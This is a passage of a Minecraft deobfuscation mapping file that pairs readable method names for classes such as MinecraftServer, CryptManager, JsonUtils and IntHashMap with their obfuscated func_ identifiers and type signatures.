(Lnet/minecraft/command/ICommandSender;Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/server/MinecraftServer/setCommandStat (Lnet/minecraft/command/CommandResultStats$Type;I)V net/minecraft/server/MinecraftServer/func_174794_a (Lnet/minecraft/command/CommandResultStats$Type;I)V +MD: net/minecraft/server/MinecraftServer/access$100 (Lnet/minecraft/server/MinecraftServer;)Lnet/minecraft/server/management/ServerConfigurationManager; net/minecraft/server/MinecraftServer/access$100 (Lnet/minecraft/server/MinecraftServer;)Lnet/minecraft/server/management/ServerConfigurationManager; +MD: net/minecraft/server/MinecraftServer/setDifficultyForAllWorlds (Lnet/minecraft/world/EnumDifficulty;)V net/minecraft/server/MinecraftServer/func_147139_a (Lnet/minecraft/world/EnumDifficulty;)V +MD: net/minecraft/server/MinecraftServer/addServerStatsToSnooper (Lnet/minecraft/profiler/PlayerUsageSnooper;)V net/minecraft/server/MinecraftServer/func_70000_a (Lnet/minecraft/profiler/PlayerUsageSnooper;)V +MD: net/minecraft/server/MinecraftServer/saveAllWorlds (Z)V net/minecraft/server/MinecraftServer/func_71267_a (Z)V +MD: net/minecraft/server/MinecraftServer/getMaxPlayerIdleMinutes ()I net/minecraft/server/MinecraftServer/func_143007_ar ()I +MD: net/minecraft/server/MinecraftServer/isAnnouncingPlayerAchievements ()Z net/minecraft/server/MinecraftServer/func_147136_ar ()Z +MD: net/minecraft/server/MinecraftServer/getMinecraftSessionService ()Lcom/mojang/authlib/minecraft/MinecraftSessionService; net/minecraft/server/MinecraftServer/func_147130_as ()Lcom/mojang/authlib/minecraft/MinecraftSessionService; +MD: net/minecraft/server/MinecraftServer/getGameProfileRepository ()Lcom/mojang/authlib/GameProfileRepository; net/minecraft/server/MinecraftServer/func_152359_aw ()Lcom/mojang/authlib/GameProfileRepository; +MD: net/minecraft/server/MinecraftServer/getPlayerProfileCache ()Lnet/minecraft/server/management/PlayerProfileCache; net/minecraft/server/MinecraftServer/func_152358_ax ()Lnet/minecraft/server/management/PlayerProfileCache; +MD: net/minecraft/server/MinecraftServer/getServerStatusResponse ()Lnet/minecraft/network/ServerStatusResponse; net/minecraft/server/MinecraftServer/func_147134_at ()Lnet/minecraft/network/ServerStatusResponse; +MD: net/minecraft/server/MinecraftServer/refreshStatusNextTick ()V net/minecraft/server/MinecraftServer/func_147132_au ()V +MD: net/minecraft/server/MinecraftServer/getMaxWorldSize ()I net/minecraft/server/MinecraftServer/func_175580_aG ()I +MD: net/minecraft/server/MinecraftServer/isCallingFromMinecraftThread ()Z net/minecraft/server/MinecraftServer/func_152345_ab ()Z +MD: net/minecraft/server/MinecraftServer/getNetworkCompressionTreshold ()I net/minecraft/server/MinecraftServer/func_175577_aI ()I +MD: net/minecraft/server/MinecraftServer/getCurrentTime ()J net/minecraft/server/MinecraftServer/func_175587_aJ ()J +MD: net/minecraft/server/MinecraftServer/getServerThread ()Ljava/lang/Thread; net/minecraft/server/MinecraftServer/func_175583_aK ()Ljava/lang/Thread; +MD: net/minecraft/server/MinecraftServer/access$000 ()Lorg/apache/logging/log4j/Logger; net/minecraft/server/MinecraftServer/access$000 ()Lorg/apache/logging/log4j/Logger; +MD: net/minecraft/server/MinecraftServer/outputPercentRemaining (Ljava/lang/String;I)V net/minecraft/server/MinecraftServer/func_71216_a_ (Ljava/lang/String;I)V +MD: net/minecraft/server/MinecraftServer/setResourcePack (Ljava/lang/String;Ljava/lang/String;)V net/minecraft/server/MinecraftServer/func_180507_a_ (Ljava/lang/String;Ljava/lang/String;)V +MD: net/minecraft/server/MinecraftServer/deleteWorldAndStopServer ()V net/minecraft/server/MinecraftServer/func_71272_O ()V +MD: net/minecraft/server/MinecraftServer/getResourcePackUrl ()Ljava/lang/String; net/minecraft/server/MinecraftServer/func_147133_T ()Ljava/lang/String; +MD: net/minecraft/server/MinecraftServer/getResourcePackHash ()Ljava/lang/String; net/minecraft/server/MinecraftServer/func_175581_ab ()Ljava/lang/String; +MD: net/minecraft/server/MinecraftServer/isSnooperEnabled ()Z net/minecraft/server/MinecraftServer/func_70002_Q ()Z +MD: net/minecraft/server/MinecraftServer/isDedicatedServer ()Z net/minecraft/server/MinecraftServer/func_71262_S ()Z +MD: net/minecraft/server/MinecraftServer/isServerInOnlineMode ()Z net/minecraft/server/MinecraftServer/func_71266_T ()Z +MD: net/minecraft/server/MinecraftServer/getCanSpawnAnimals ()Z net/minecraft/server/MinecraftServer/func_71268_U ()Z +MD: net/minecraft/server/MinecraftServer/getCanSpawnNPCs ()Z net/minecraft/server/MinecraftServer/func_71220_V ()Z +MD: net/minecraft/server/MinecraftServer/shouldUseNativeTransport ()Z net/minecraft/server/MinecraftServer/func_181035_ah ()Z +MD: net/minecraft/server/MinecraftServer/isPVPEnabled ()Z net/minecraft/server/MinecraftServer/func_71219_W ()Z +MD: net/minecraft/server/MinecraftServer/isFlightAllowed ()Z net/minecraft/server/MinecraftServer/func_71231_X ()Z +MD: net/minecraft/server/MinecraftServer/isCommandBlockEnabled ()Z net/minecraft/server/MinecraftServer/func_82356_Z ()Z +MD: net/minecraft/server/MinecraftServer/getMOTD ()Ljava/lang/String; net/minecraft/server/MinecraftServer/func_71273_Y ()Ljava/lang/String; +MD: net/minecraft/server/MinecraftServer/getBuildLimit ()I net/minecraft/server/MinecraftServer/func_71207_Z ()I +MD: net/minecraft/server/MinecraftServer/isServerStopped ()Z net/minecraft/server/MinecraftServer/func_71241_aa ()Z +MD: net/minecraft/server/MinecraftServer/getConfigurationManager ()Lnet/minecraft/server/management/ServerConfigurationManager; net/minecraft/server/MinecraftServer/func_71203_ab ()Lnet/minecraft/server/management/ServerConfigurationManager; +MD: net/minecraft/server/MinecraftServer/getNetworkSystem ()Lnet/minecraft/network/NetworkSystem; net/minecraft/server/MinecraftServer/func_147137_ag ()Lnet/minecraft/network/NetworkSystem; +MD: net/minecraft/server/MinecraftServer/serverIsInRunLoop ()Z net/minecraft/server/MinecraftServer/func_71200_ad ()Z +MD: net/minecraft/server/MinecraftServer/getGuiEnabled ()Z net/minecraft/server/MinecraftServer/func_71279_ae ()Z +MD: net/minecraft/server/MinecraftServer/getTickCounter ()I net/minecraft/server/MinecraftServer/func_71259_af ()I +MD: net/minecraft/server/MinecraftServer/enableProfiling ()V net/minecraft/server/MinecraftServer/func_71223_ag ()V +MD: net/minecraft/server/MinecraftServer/getPlayerUsageSnooper ()Lnet/minecraft/profiler/PlayerUsageSnooper; net/minecraft/server/MinecraftServer/func_80003_ah ()Lnet/minecraft/profiler/PlayerUsageSnooper; +MD: net/minecraft/server/MinecraftServer/getSpawnProtectionSize ()I net/minecraft/server/MinecraftServer/func_82357_ak ()I +MD: net/minecraft/server/MinecraftServer/getForceGamemode ()Z net/minecraft/server/MinecraftServer/func_104056_am ()Z +MD: net/minecraft/server/MinecraftServer/getServerProxy ()Ljava/net/Proxy; net/minecraft/server/MinecraftServer/func_110454_ao ()Ljava/net/Proxy; +MD: net/minecraft/server/MinecraftServer/getCurrentTimeMillis ()J net/minecraft/server/MinecraftServer/func_130071_aq ()J +MD: net/minecraft/server/MinecraftServer/setServerPort (I)V net/minecraft/server/MinecraftServer/func_71208_b (I)V +MD: net/minecraft/server/MinecraftServer/addServerInfoToCrashReport (Lnet/minecraft/crash/CrashReport;)Lnet/minecraft/crash/CrashReport; net/minecraft/server/MinecraftServer/func_71230_b (Lnet/minecraft/crash/CrashReport;)Lnet/minecraft/crash/CrashReport; +MD: net/minecraft/server/MinecraftServer/setUserMessage (Ljava/lang/String;)V net/minecraft/server/MinecraftServer/func_71192_d (Ljava/lang/String;)V +MD: net/minecraft/server/MinecraftServer/addServerTypeToSnooper (Lnet/minecraft/profiler/PlayerUsageSnooper;)V net/minecraft/server/MinecraftServer/func_70001_b (Lnet/minecraft/profiler/PlayerUsageSnooper;)V +MD: net/minecraft/server/MinecraftServer/setDemo (Z)V net/minecraft/server/MinecraftServer/func_71204_b (Z)V +MD: net/minecraft/server/MinecraftServer/getPosition ()Lnet/minecraft/util/BlockPos; net/minecraft/server/MinecraftServer/func_180425_c ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/server/MinecraftServer/setBuildLimit (I)V net/minecraft/server/MinecraftServer/func_71191_d (I)V +MD: net/minecraft/server/MinecraftServer/setHostname (Ljava/lang/String;)V net/minecraft/server/MinecraftServer/func_71189_e (Ljava/lang/String;)V +MD: net/minecraft/server/MinecraftServer/canCreateBonusChest (Z)V net/minecraft/server/MinecraftServer/func_71194_c (Z)V +MD: net/minecraft/server/MinecraftServer/getPositionVector ()Lnet/minecraft/util/Vec3; net/minecraft/server/MinecraftServer/func_174791_d ()Lnet/minecraft/util/Vec3; +MD: net/minecraft/server/MinecraftServer/setPlayerIdleTimeout (I)V net/minecraft/server/MinecraftServer/func_143006_e (I)V +MD: net/minecraft/server/MinecraftServer/getFile (Ljava/lang/String;)Ljava/io/File; net/minecraft/server/MinecraftServer/func_71209_f (Ljava/lang/String;)Ljava/io/File; +MD: net/minecraft/server/MinecraftServer/setOnlineMode (Z)V net/minecraft/server/MinecraftServer/func_71229_d (Z)V +MD: net/minecraft/server/MinecraftServer/getEntityWorld ()Lnet/minecraft/world/World; net/minecraft/server/MinecraftServer/func_130014_f_ ()Lnet/minecraft/world/World; +MD: net/minecraft/server/MinecraftServer/logInfo (Ljava/lang/String;)V net/minecraft/server/MinecraftServer/func_71244_g (Ljava/lang/String;)V +MD: net/minecraft/server/MinecraftServer/setCanSpawnAnimals (Z)V net/minecraft/server/MinecraftServer/func_71251_e (Z)V +MD: net/minecraft/server/MinecraftServer/getName ()Ljava/lang/String; net/minecraft/server/MinecraftServer/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/server/MinecraftServer/getCommandSenderEntity ()Lnet/minecraft/entity/Entity; net/minecraft/server/MinecraftServer/func_174793_f ()Lnet/minecraft/entity/Entity; +MD: net/minecraft/server/MinecraftServer/logWarning (Ljava/lang/String;)V net/minecraft/server/MinecraftServer/func_71236_h (Ljava/lang/String;)V +MD: net/minecraft/server/MinecraftServer/setCanSpawnNPCs (Z)V net/minecraft/server/MinecraftServer/func_71257_f (Z)V +MD: net/minecraft/server/MinecraftServer/getDisplayName ()Lnet/minecraft/util/IChatComponent; net/minecraft/server/MinecraftServer/func_145748_c_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/server/MinecraftServer/logSevere (Ljava/lang/String;)V net/minecraft/server/MinecraftServer/func_71201_j (Ljava/lang/String;)V +MD: net/minecraft/server/MinecraftServer/setAllowPvp (Z)V net/minecraft/server/MinecraftServer/func_71188_g (Z)V +MD: net/minecraft/server/MinecraftServer/getServerModName ()Ljava/lang/String; net/minecraft/server/MinecraftServer/getServerModName ()Ljava/lang/String; +MD: net/minecraft/server/MinecraftServer/createNewCommandManager ()Lnet/minecraft/command/ServerCommandManager; net/minecraft/server/MinecraftServer/func_175582_h ()Lnet/minecraft/command/ServerCommandManager; +MD: net/minecraft/server/MinecraftServer/logDebug (Ljava/lang/String;)V net/minecraft/server/MinecraftServer/func_71198_k (Ljava/lang/String;)V +MD: net/minecraft/server/MinecraftServer/setAllowFlight (Z)V net/minecraft/server/MinecraftServer/func_71245_h (Z)V +MD: net/minecraft/server/MinecraftServer/startServer ()Z net/minecraft/server/MinecraftServer/func_71197_b ()Z +MD: net/minecraft/server/MinecraftServer/setServerOwner (Ljava/lang/String;)V net/minecraft/server/MinecraftServer/func_71224_l (Ljava/lang/String;)V +MD: net/minecraft/server/MinecraftServer/setForceGamemode (Z)V net/minecraft/server/MinecraftServer/func_104055_i (Z)V +MD: net/minecraft/server/MinecraftServer/getUserMessage ()Ljava/lang/String; net/minecraft/server/MinecraftServer/func_71195_b_ ()Ljava/lang/String; +MD: net/minecraft/server/MinecraftServer/setFolderName (Ljava/lang/String;)V net/minecraft/server/MinecraftServer/func_71261_m (Ljava/lang/String;)V +MD: net/minecraft/server/MinecraftServer/initialWorldChunkLoad ()V net/minecraft/server/MinecraftServer/func_71222_d ()V +MD: net/minecraft/server/MinecraftServer/setWorldName (Ljava/lang/String;)V net/minecraft/server/MinecraftServer/func_71246_n (Ljava/lang/String;)V +MD: net/minecraft/server/MinecraftServer/canStructuresSpawn ()Z net/minecraft/server/MinecraftServer/func_71225_e ()Z +MD: net/minecraft/server/MinecraftServer/setMOTD (Ljava/lang/String;)V net/minecraft/server/MinecraftServer/func_71205_p (Ljava/lang/String;)V +MD: net/minecraft/server/MinecraftServer/getGameType ()Lnet/minecraft/world/WorldSettings$GameType; net/minecraft/server/MinecraftServer/func_71265_f ()Lnet/minecraft/world/WorldSettings$GameType; +MD: net/minecraft/server/MinecraftServer/getDifficulty ()Lnet/minecraft/world/EnumDifficulty; net/minecraft/server/MinecraftServer/func_147135_j ()Lnet/minecraft/world/EnumDifficulty; +MD: net/minecraft/server/MinecraftServer/isHardcore ()Z net/minecraft/server/MinecraftServer/func_71199_h ()Z +MD: net/minecraft/server/MinecraftServer/getOpPermissionLevel ()I net/minecraft/server/MinecraftServer/func_110455_j ()I +MD: net/minecraft/server/MinecraftServer/shouldBroadcastRconToOps ()Z net/minecraft/server/MinecraftServer/func_181034_q ()Z +MD: net/minecraft/server/MinecraftServer/shouldBroadcastConsoleToOps ()Z net/minecraft/server/MinecraftServer/func_183002_r ()Z +MD: net/minecraft/server/MinecraftServer/run ()V net/minecraft/server/MinecraftServer/run ()V +MD: net/minecraft/server/MinecraftServer/clearCurrentTask ()V net/minecraft/server/MinecraftServer/func_71243_i ()V +MD: net/minecraft/server/MinecraftServer/stopServer ()V net/minecraft/server/MinecraftServer/func_71260_j ()V +MD: net/minecraft/server/MinecraftServer/getServerHostname ()Ljava/lang/String; net/minecraft/server/MinecraftServer/func_71211_k ()Ljava/lang/String; +MD: net/minecraft/server/MinecraftServer/sendCommandFeedback ()Z net/minecraft/server/MinecraftServer/func_174792_t_ ()Z +MD: net/minecraft/server/MinecraftServer/isServerRunning ()Z net/minecraft/server/MinecraftServer/func_71278_l ()Z +MD: net/minecraft/server/MinecraftServer/initiateShutdown ()V net/minecraft/server/MinecraftServer/func_71263_m ()V +MD: net/minecraft/server/MinecraftServer/setInstance ()V net/minecraft/server/MinecraftServer/func_175585_v ()V +MD: net/minecraft/server/MinecraftServer/getDataDirectory ()Ljava/io/File; net/minecraft/server/MinecraftServer/func_71238_n ()Ljava/io/File; +MD: net/minecraft/server/MinecraftServer/systemExitNow ()V net/minecraft/server/MinecraftServer/func_71240_o ()V +MD: net/minecraft/util/CryptManager/createNewSharedKey ()Ljavax/crypto/SecretKey; net/minecraft/util/CryptManager/func_75890_a ()Ljavax/crypto/SecretKey; +MD: net/minecraft/util/CryptManager/createTheCipherInstance (ILjava/lang/String;Ljava/security/Key;)Ljavax/crypto/Cipher; net/minecraft/util/CryptManager/func_75886_a (ILjava/lang/String;Ljava/security/Key;)Ljavax/crypto/Cipher; +MD: net/minecraft/util/CryptManager/createNetCipherInstance (ILjava/security/Key;)Ljavax/crypto/Cipher; net/minecraft/util/CryptManager/func_151229_a (ILjava/security/Key;)Ljavax/crypto/Cipher; +MD: net/minecraft/util/CryptManager/cipherOperation (ILjava/security/Key;[B)[B net/minecraft/util/CryptManager/func_75885_a (ILjava/security/Key;[B)[B +MD: net/minecraft/util/CryptManager/getServerIdHash (Ljava/lang/String;Ljava/security/PublicKey;Ljavax/crypto/SecretKey;)[B net/minecraft/util/CryptManager/func_75895_a (Ljava/lang/String;Ljava/security/PublicKey;Ljavax/crypto/SecretKey;)[B +MD: net/minecraft/util/CryptManager/digestOperation (Ljava/lang/String;[[B)[B net/minecraft/util/CryptManager/func_75893_a (Ljava/lang/String;[[B)[B +MD: net/minecraft/util/CryptManager/encryptData (Ljava/security/Key;[B)[B net/minecraft/util/CryptManager/func_75894_a (Ljava/security/Key;[B)[B +MD: net/minecraft/util/CryptManager/decryptSharedKey (Ljava/security/PrivateKey;[B)Ljavax/crypto/SecretKey; net/minecraft/util/CryptManager/func_75887_a (Ljava/security/PrivateKey;[B)Ljavax/crypto/SecretKey; +MD: net/minecraft/util/CryptManager/decodePublicKey ([B)Ljava/security/PublicKey; net/minecraft/util/CryptManager/func_75896_a ([B)Ljava/security/PublicKey; +MD: net/minecraft/util/CryptManager/generateKeyPair ()Ljava/security/KeyPair; net/minecraft/util/CryptManager/func_75891_b ()Ljava/security/KeyPair; +MD: net/minecraft/util/CryptManager/decryptData (Ljava/security/Key;[B)[B net/minecraft/util/CryptManager/func_75889_b (Ljava/security/Key;[B)[B +MD: net/minecraft/util/FrameTimer/getLastIndex ()I net/minecraft/util/FrameTimer/func_181749_a ()I +MD: net/minecraft/util/FrameTimer/addFrame (J)V net/minecraft/util/FrameTimer/func_181747_a (J)V +MD: net/minecraft/util/FrameTimer/getLagometerValue (JI)I net/minecraft/util/FrameTimer/func_181748_a (JI)I +MD: net/minecraft/util/FrameTimer/getIndex ()I net/minecraft/util/FrameTimer/func_181750_b ()I +MD: net/minecraft/util/FrameTimer/parseIndex (I)I net/minecraft/util/FrameTimer/func_181751_b (I)I +MD: net/minecraft/util/FrameTimer/getFrames ()[J net/minecraft/util/FrameTimer/func_181746_c ()[J +MD: net/minecraft/util/JsonUtils/isString (Lcom/google/gson/JsonElement;)Z net/minecraft/util/JsonUtils/func_151211_a (Lcom/google/gson/JsonElement;)Z +MD: net/minecraft/util/JsonUtils/getString (Lcom/google/gson/JsonElement;Ljava/lang/String;)Ljava/lang/String; net/minecraft/util/JsonUtils/func_151206_a (Lcom/google/gson/JsonElement;Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/util/JsonUtils/isString (Lcom/google/gson/JsonObject;Ljava/lang/String;)Z net/minecraft/util/JsonUtils/func_151205_a (Lcom/google/gson/JsonObject;Ljava/lang/String;)Z +MD: net/minecraft/util/JsonUtils/getFloat (Lcom/google/gson/JsonObject;Ljava/lang/String;F)F net/minecraft/util/JsonUtils/func_151221_a (Lcom/google/gson/JsonObject;Ljava/lang/String;F)F +MD: net/minecraft/util/JsonUtils/getInt (Lcom/google/gson/JsonObject;Ljava/lang/String;I)I net/minecraft/util/JsonUtils/func_151208_a (Lcom/google/gson/JsonObject;Ljava/lang/String;I)I +MD: net/minecraft/util/JsonUtils/getJsonArray (Lcom/google/gson/JsonObject;Ljava/lang/String;Lcom/google/gson/JsonArray;)Lcom/google/gson/JsonArray; net/minecraft/util/JsonUtils/func_151213_a (Lcom/google/gson/JsonObject;Ljava/lang/String;Lcom/google/gson/JsonArray;)Lcom/google/gson/JsonArray; +MD: net/minecraft/util/JsonUtils/getJsonObject (Lcom/google/gson/JsonObject;Ljava/lang/String;Lcom/google/gson/JsonObject;)Lcom/google/gson/JsonObject; net/minecraft/util/JsonUtils/func_151218_a (Lcom/google/gson/JsonObject;Ljava/lang/String;Lcom/google/gson/JsonObject;)Lcom/google/gson/JsonObject; +MD: net/minecraft/util/JsonUtils/getString (Lcom/google/gson/JsonObject;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; net/minecraft/util/JsonUtils/func_151219_a (Lcom/google/gson/JsonObject;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/util/JsonUtils/getBoolean (Lcom/google/gson/JsonObject;Ljava/lang/String;Z)Z net/minecraft/util/JsonUtils/func_151209_a (Lcom/google/gson/JsonObject;Ljava/lang/String;Z)Z +MD: net/minecraft/util/JsonUtils/getBoolean (Lcom/google/gson/JsonElement;Ljava/lang/String;)Z net/minecraft/util/JsonUtils/func_151216_b (Lcom/google/gson/JsonElement;Ljava/lang/String;)Z +MD: net/minecraft/util/JsonUtils/isBoolean (Lcom/google/gson/JsonObject;Ljava/lang/String;)Z net/minecraft/util/JsonUtils/func_180199_c (Lcom/google/gson/JsonObject;Ljava/lang/String;)Z +MD: net/minecraft/util/JsonUtils/toString (Lcom/google/gson/JsonElement;)Ljava/lang/String; net/minecraft/util/JsonUtils/func_151222_d (Lcom/google/gson/JsonElement;)Ljava/lang/String; +MD: net/minecraft/util/JsonUtils/getFloat (Lcom/google/gson/JsonElement;Ljava/lang/String;)F net/minecraft/util/JsonUtils/func_151220_d (Lcom/google/gson/JsonElement;Ljava/lang/String;)F +MD: net/minecraft/util/JsonUtils/isJsonArray (Lcom/google/gson/JsonObject;Ljava/lang/String;)Z net/minecraft/util/JsonUtils/func_151202_d (Lcom/google/gson/JsonObject;Ljava/lang/String;)Z +MD: net/minecraft/util/JsonUtils/getInt (Lcom/google/gson/JsonElement;Ljava/lang/String;)I net/minecraft/util/JsonUtils/func_151215_f (Lcom/google/gson/JsonElement;Ljava/lang/String;)I +MD: net/minecraft/util/JsonUtils/isJsonPrimitive (Lcom/google/gson/JsonObject;Ljava/lang/String;)Z net/minecraft/util/JsonUtils/func_151201_f (Lcom/google/gson/JsonObject;Ljava/lang/String;)Z +MD: net/minecraft/util/JsonUtils/hasField (Lcom/google/gson/JsonObject;Ljava/lang/String;)Z net/minecraft/util/JsonUtils/func_151204_g (Lcom/google/gson/JsonObject;Ljava/lang/String;)Z +MD: net/minecraft/util/JsonUtils/getString (Lcom/google/gson/JsonObject;Ljava/lang/String;)Ljava/lang/String; net/minecraft/util/JsonUtils/func_151200_h (Lcom/google/gson/JsonObject;Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/util/JsonUtils/getBoolean (Lcom/google/gson/JsonObject;Ljava/lang/String;)Z net/minecraft/util/JsonUtils/func_151212_i (Lcom/google/gson/JsonObject;Ljava/lang/String;)Z +MD: net/minecraft/util/JsonUtils/getFloat (Lcom/google/gson/JsonObject;Ljava/lang/String;)F net/minecraft/util/JsonUtils/func_151217_k (Lcom/google/gson/JsonObject;Ljava/lang/String;)F +MD: net/minecraft/util/JsonUtils/getJsonObject (Lcom/google/gson/JsonElement;Ljava/lang/String;)Lcom/google/gson/JsonObject; net/minecraft/util/JsonUtils/func_151210_l (Lcom/google/gson/JsonElement;Ljava/lang/String;)Lcom/google/gson/JsonObject; +MD: net/minecraft/util/JsonUtils/getJsonArray (Lcom/google/gson/JsonElement;Ljava/lang/String;)Lcom/google/gson/JsonArray; net/minecraft/util/JsonUtils/func_151207_m (Lcom/google/gson/JsonElement;Ljava/lang/String;)Lcom/google/gson/JsonArray; +MD: net/minecraft/util/JsonUtils/getInt (Lcom/google/gson/JsonObject;Ljava/lang/String;)I net/minecraft/util/JsonUtils/func_151203_m (Lcom/google/gson/JsonObject;Ljava/lang/String;)I +MD: net/minecraft/util/JsonUtils/getJsonObject (Lcom/google/gson/JsonObject;Ljava/lang/String;)Lcom/google/gson/JsonObject; net/minecraft/util/JsonUtils/func_152754_s (Lcom/google/gson/JsonObject;Ljava/lang/String;)Lcom/google/gson/JsonObject; +MD: net/minecraft/util/JsonUtils/getJsonArray (Lcom/google/gson/JsonObject;Ljava/lang/String;)Lcom/google/gson/JsonArray; net/minecraft/util/JsonUtils/func_151214_t (Lcom/google/gson/JsonObject;Ljava/lang/String;)Lcom/google/gson/JsonArray; +MD: net/minecraft/util/HttpUtil$1/run ()V net/minecraft/util/HttpUtil$1/run ()V +MD: net/minecraft/util/HttpUtil/getSuitableLanPort ()I net/minecraft/util/HttpUtil/func_76181_a ()I +MD: net/minecraft/util/HttpUtil/downloadResourcePack (Ljava/io/File;Ljava/lang/String;Ljava/util/Map;ILnet/minecraft/util/IProgressUpdate;Ljava/net/Proxy;)Lcom/google/common/util/concurrent/ListenableFuture; net/minecraft/util/HttpUtil/func_180192_a (Ljava/io/File;Ljava/lang/String;Ljava/util/Map;ILnet/minecraft/util/IProgressUpdate;Ljava/net/Proxy;)Lcom/google/common/util/concurrent/ListenableFuture; +MD: net/minecraft/util/HttpUtil/get (Ljava/net/URL;)Ljava/lang/String; net/minecraft/util/HttpUtil/func_152755_a (Ljava/net/URL;)Ljava/lang/String; +MD: net/minecraft/util/HttpUtil/post (Ljava/net/URL;Ljava/lang/String;Z)Ljava/lang/String; net/minecraft/util/HttpUtil/func_151225_a (Ljava/net/URL;Ljava/lang/String;Z)Ljava/lang/String; +MD: net/minecraft/util/HttpUtil/postMap (Ljava/net/URL;Ljava/util/Map;Z)Ljava/lang/String; net/minecraft/util/HttpUtil/func_151226_a (Ljava/net/URL;Ljava/util/Map;Z)Ljava/lang/String; +MD: net/minecraft/util/HttpUtil/buildPostString (Ljava/util/Map;)Ljava/lang/String; net/minecraft/util/HttpUtil/func_76179_a (Ljava/util/Map;)Ljava/lang/String; +MD: net/minecraft/util/HttpUtil/access$000 ()Lorg/apache/logging/log4j/Logger; net/minecraft/util/HttpUtil/access$000 ()Lorg/apache/logging/log4j/Logger; +MD: net/minecraft/server/management/LowerStringMap/put (Ljava/lang/String;Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/server/management/LowerStringMap/put (Ljava/lang/String;Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/server/management/LowerStringMap/clear ()V net/minecraft/server/management/LowerStringMap/clear ()V +MD: net/minecraft/server/management/LowerStringMap/containsKey (Ljava/lang/Object;)Z net/minecraft/server/management/LowerStringMap/containsKey (Ljava/lang/Object;)Z +MD: net/minecraft/server/management/LowerStringMap/containsValue (Ljava/lang/Object;)Z net/minecraft/server/management/LowerStringMap/containsValue (Ljava/lang/Object;)Z +MD: net/minecraft/server/management/LowerStringMap/entrySet ()Ljava/util/Set; net/minecraft/server/management/LowerStringMap/entrySet ()Ljava/util/Set; +MD: net/minecraft/server/management/LowerStringMap/get (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/server/management/LowerStringMap/get (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/server/management/LowerStringMap/isEmpty ()Z net/minecraft/server/management/LowerStringMap/isEmpty ()Z +MD: net/minecraft/server/management/LowerStringMap/keySet ()Ljava/util/Set; net/minecraft/server/management/LowerStringMap/keySet ()Ljava/util/Set; +MD: net/minecraft/server/management/LowerStringMap/put (Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/server/management/LowerStringMap/put (Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/server/management/LowerStringMap/putAll (Ljava/util/Map;)V net/minecraft/server/management/LowerStringMap/putAll (Ljava/util/Map;)V +MD: net/minecraft/server/management/LowerStringMap/remove (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/server/management/LowerStringMap/remove (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/server/management/LowerStringMap/size ()I net/minecraft/server/management/LowerStringMap/size ()I +MD: net/minecraft/server/management/LowerStringMap/values ()Ljava/util/Collection; net/minecraft/server/management/LowerStringMap/values ()Ljava/util/Collection; +MD: net/minecraft/util/IntegerCache/getInteger (I)Ljava/lang/Integer; net/minecraft/util/IntegerCache/func_181756_a (I)Ljava/lang/Integer; +MD: net/minecraft/util/IntHashMap$Entry/getHash ()I net/minecraft/util/IntHashMap$Entry/func_76031_a ()I +MD: net/minecraft/util/IntHashMap$Entry/getValue ()Ljava/lang/Object; net/minecraft/util/IntHashMap$Entry/func_76030_b ()Ljava/lang/Object; +MD: net/minecraft/util/IntHashMap$Entry/equals (Ljava/lang/Object;)Z net/minecraft/util/IntHashMap$Entry/equals (Ljava/lang/Object;)Z +MD: net/minecraft/util/IntHashMap$Entry/hashCode ()I net/minecraft/util/IntHashMap$Entry/hashCode ()I +MD: net/minecraft/util/IntHashMap$Entry/toString ()Ljava/lang/String; net/minecraft/util/IntHashMap$Entry/toString ()Ljava/lang/String; +MD: net/minecraft/util/IntHashMap/lookup (I)Ljava/lang/Object; net/minecraft/util/IntHashMap/func_76041_a (I)Ljava/lang/Object; +MD: net/minecraft/util/IntHashMap/getSlotIndex (II)I net/minecraft/util/IntHashMap/func_76043_a (II)I +MD: net/minecraft/util/IntHashMap/insert (IILjava/lang/Object;I)V net/minecraft/util/IntHashMap/func_76040_a (IILjava/lang/Object;I)V +MD: net/minecraft/util/IntHashMap/addKey (ILjava/lang/Object;)V net/minecraft/util/IntHashMap/func_76038_a (ILjava/lang/Object;)V +MD: net/minecraft/util/IntHashMap/copyTo ([Lnet/minecraft/util/IntHashMap$Entry;)V net/minecraft/util/IntHashMap/func_76048_a ([Lnet/minecraft/util/IntHashMap$Entry;)V +MD: net/minecraft/util/IntHashMap/containsItem (I)Z net/minecraft/util/IntHashMap/func_76037_b (I)Z +MD: net/minecraft/util/IntHashMap/clearMap ()V net/minecraft/util/IntHashMap/func_76046_c ()V +MD: net/minecraft/util/IntHashMap/lookupEntry (I)Lnet/minecraft/util/IntHashMap$Entry; net/minecraft/util/IntHashMap/func_76045_c (I)Lnet/minecraft/util/IntHashMap$Entry; +MD: net/minecraft/util/IntHashMap/removeObject (I)Ljava/lang/Object; net/minecraft/util/IntHashMap/func_76049_d (I)Ljava/lang/Object; +MD: net/minecraft/util/IntHashMap/removeEntry (I)Lnet/minecraft/util/IntHashMap$Entry; net/minecraft/util/IntHashMap/func_76036_e (I)Lnet/minecraft/util/IntHashMap$Entry; +MD: net/minecraft/util/IntHashMap/access$000 (I)I net/minecraft/util/IntHashMap/access$000 (I)I +MD: net/minecraft/util/IntHashMap/computeHash (I)I net/minecraft/util/IntHashMap/func_76044_g (I)I +MD: net/minecraft/util/IntHashMap/grow (I)V net/minecraft/util/IntHashMap/func_76047_h (I)V +MD: net/minecraft/util/LazyLoadBase/load ()Ljava/lang/Object; net/minecraft/util/LazyLoadBase/func_179280_b ()Ljava/lang/Object; +MD: net/minecraft/util/LazyLoadBase/getValue ()Ljava/lang/Object; net/minecraft/util/LazyLoadBase/func_179281_c ()Ljava/lang/Object; +MD: net/minecraft/util/ThreadSafeBoundList/func_152757_a (Ljava/lang/Object;)Ljava/lang/Object; 